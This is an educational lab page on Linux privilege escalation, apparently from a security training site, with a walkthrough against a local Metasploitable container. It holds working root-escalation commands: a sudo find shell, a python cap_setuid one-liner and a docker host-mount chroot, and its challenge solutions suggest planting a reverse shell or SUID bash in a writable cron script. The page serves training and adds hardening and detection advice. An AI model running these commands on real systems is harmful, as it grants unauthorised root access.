Cybersecurity-Mastery

Home › Offensive Security › Privilege Escalation

Privilege Escalation

Local escalation on Linux and Windows through misconfiguration, tokens and kernel bugs.

Advanced⌨ ~84 min hands-on📖 ~28 min read

▶ Here to build, not read? Jump to the Hands-On Practice.

Prerequisites: Linux Security · Windows Security

Overview

Local escalation on Linux and Windows through misconfiguration, tokens and kernel bugs. In one line: privilege escalation decides where trust is placed, and misplaced trust is where the security problem lives. That's the theory you need — the understanding comes from doing it, so the walkthrough below is the heart of this chapter.

How it works

Mechanically, privilege escalation comes down to three things: what data is trusted, where it crosses a boundary, and what happens on the other side. The diagram traces that path; you'll walk it for real, step by step, in the practice below.

flowchart TD
    A["Privilege Escalation"] --> B["Concepts & terminology"]
    A --> C["Internal mechanics"]
    C --> D["Trust boundaries"]
    D --> E["Attack surface"]
    D --> F["Defensive controls"]
    E --> G["Detection & telemetry"]
    F --> G
    G --> H["Verification in the lab"]
🔑 Key terms
  • Trust boundary — where data or control passes between components of different privilege or trust.
  • Attack surface — the set of points an attacker can interact with.
  • Primary control — the single measure that most reduces this technique's impact.
  • Telemetry — the log or signal a defender uses to detect the technique.

Hands-On Practice

Tip
This is the main event. Bring up the lab, then work the walkthrough — every command has a ▸ Run button (needs the lab runner) and a 📋 Copy button. ~84 min, Kali attacker, fully local.

Mission. From a www-data foothold to root via systematic enumeration and a misconfiguration.

🧪 Lab setup — Offensive Security

  • metasploitable — boot-to-root Linux target (recon → exploit → loot)
  • dvwa / juice-shop — web foothold targets
  • AD forest (optional) — GOAD or a Windows Server eval VM for AD chapters — see notes
docker-compose.yml
# offsec-lab/docker-compose.yml  —  Offensive part environment
services:
  target-linux:
    image: tleemcjr/metasploitable2
    networks: [labnet]
    command: /bin/sh -c "/etc/rc.local; tail -f /dev/null"
  target-web:
    image: vulnerables/web-dvwa
    ports: ["8082:80"]
    networks: [labnet]

networks:
  labnet:
    driver: bridge
    internal: true

Target for this lesson: target-linux (Metasploitable) or any lab host where you have a low-priv shell. Full setup: Offensive Security lab environment.

Guided walkthrough

1Enumerate automatically
command
./linpeas.sh | tee linpeas.txt
Expected output
Highlighted: sudo rights, SUID binaries, writable cron, kernel version.
linpeas surfaces candidates fast; you still verify each by hand.
2Check sudo rights
command
sudo -l
Expected output
(root) NOPASSWD: /usr/bin/find
A binary you can run as root is a direct path if it can spawn a shell.
3Abuse it (GTFOBins)
command
sudo find . -exec /bin/sh -p \; -quit
Expected output
# whoami → root
find can execute commands; run as root it hands you a root shell.
4Alternative: SUID
command
find / -perm -4000 -type f 2>/dev/null
Expected output
/usr/bin/... an unexpected SUID binary
SUID-root binaries run as root; GTFOBins lists which ones give a shell.
5Harden
command
# remove NOPASSWD, strip needless SUID bits, patch the kernel
Expected output
sudo -l no longer lists a shell-capable binary; the path is closed.
Least privilege on sudo and SUID removes the most common Linux privesc paths.

Live terminal

kali@privilege-escalation — start the lab runner for a live shelloffline
Start the Lab Runner (see labserver/README.md), then click Connect lab runner and paste the token. Until then, copy commands from the walkthrough and run them in your own Kali terminal.
$

Try it yourself

Note
Try each for real. Open the hint only when stuck, the solution only to check.

Challenge 1. Escalate via a writable cron job instead of sudo.

Hint

Find a root cron running a script you can edit.

Solution

Append a reverse shell / chmod +s /bin/bash to the writable script and wait for the cron tick.

Challenge 2. Escalate using a Linux capability rather than SUID.

Hint

getcap -r / 2>/dev/null.

Solution

A binary with cap_setuid+ep (e.g. python) → python -c 'import os;os.setuid(0);os.system("/bin/bash")'.

Challenge 3. You're in the docker group but not root — get root.

Hint

The docker group is root-equivalent.

Solution

docker run -v /:/mnt --rm -it alpine chroot /mnt sh mounts the host filesystem as root.

Quick quiz

`sudo -l` shows `(root) NOPASSWD: /usr/bin/find`. Why is that a win?
find's -exec runs arbitrary commands; run as root via sudo it spawns a root shell (a classic GTFOBins vector).

Detect & defend (blue-team view)

  • auditd/Sysmon: a web-service user spawning a root shell, or execution of SUID binaries by service accounts.
  • Alert on writes to cron directories and on new SUID files (baseline them).

Skills check

You can move on when you can, without notes:

Check Yourself

Quick self-test — answers hidden. If you can't answer without notes, redo the relevant walkthrough step.

Q1. In one sentence, what security problem does Privilege Escalation address or create?

Show answer

Privilege Escalation matters because its behaviour determines where trust is placed; misplacing that trust is the root of the associated bug class.

Q2. Name one trust boundary involved in Privilege Escalation and what crosses it.

Show answer

Any point where attacker-influenced data meets privileged processing — e.g. user input reaching an interpreter, or a token reaching a verifier.

Q3. Give one attack against Privilege Escalation and the single control that most reduces its impact.

Show answer

State the attack precisely, then the primary control (validation, encoding, isolation, authentication, or least privilege) — not a laundry list.

Interview angles

  • Walk me through how Privilege Escalation works, then tell me where you would attack it.
  • How would you detect Privilege Escalation being abused in an environment you defend?
  • What is the difference between mitigating and eliminating the risk associated with Privilege Escalation?

Pitfalls & Best Practice

Common mistakes

  • Treating privilege escalation as a checkbox instead of understanding the mechanism — defences copied without comprehension fail silently.
  • Trusting client-side or default controls to enforce a server-side security property.
  • Testing only the happy path and never the abuse cases or malformed input.
  • Fixing the symptom (one payload) instead of the class (the missing control).

Do this instead

  • Push security decisions to a single, well-tested enforcement point rather than scattering checks.
  • Fail closed: when in doubt, deny and log, so misconfiguration reduces access rather than expanding it.
  • Instrument the trust boundaries so the same event is visible to offence (as a target) and defence (as a signal).
  • Validate your understanding of privilege escalation empirically in the lab before trusting it in production.
  • Prefer safe, high-level APIs and secure defaults over hand-rolled primitives.

Reference

MITRE ATT&CK Mapping

TechniqueID
ATT&CK techniqueT1068
ATT&CK techniqueT1548
ATT&CK techniqueT1055
ATT&CK techniqueT1078

OWASP Mapping

  • See OWASP Top 10 for the relevant category when this applies to web systems.

CWE Mapping

  • No direct weakness ID; when this concept fails in code it usually surfaces as one of the CWE Top 25 entries.

CAPEC Mapping

  • No single attack pattern; see the CAPEC chapter to map behaviour to patterns.

CVE References

  • No canonical CVE for a concept page. Search the NVD for concrete instances when studying real cases.

NIST References

RFC References

  • No governing RFC for this topic. Where a protocol is involved, its RFC is linked from the relevant networking chapter.

Research Papers

  • Reflections on Trusting Trust — Ken Thompson, 1984
  • Smashing the Stack for Fun and Profit — Aleph One, Phrack 49, 1996
  • The Protection of Information in Computer Systems — Saltzer & Schroeder, 1975

Books

  • The Hacker Playbook 3 — Peter Kim
  • Penetration Testing — Georgia Weidman
  • Red Team Field Manual (RTFM) — Ben Clark
  • Advanced Penetration Testing — Wil Allsopp

Official Documentation


Part of the Offensive Security section of Cybersecurity-Mastery. 🟠 Advanced · ~84 min hands-on · Last updated 2026-08-12.

Cybersecurity-Mastery — interactive security learning · runs locally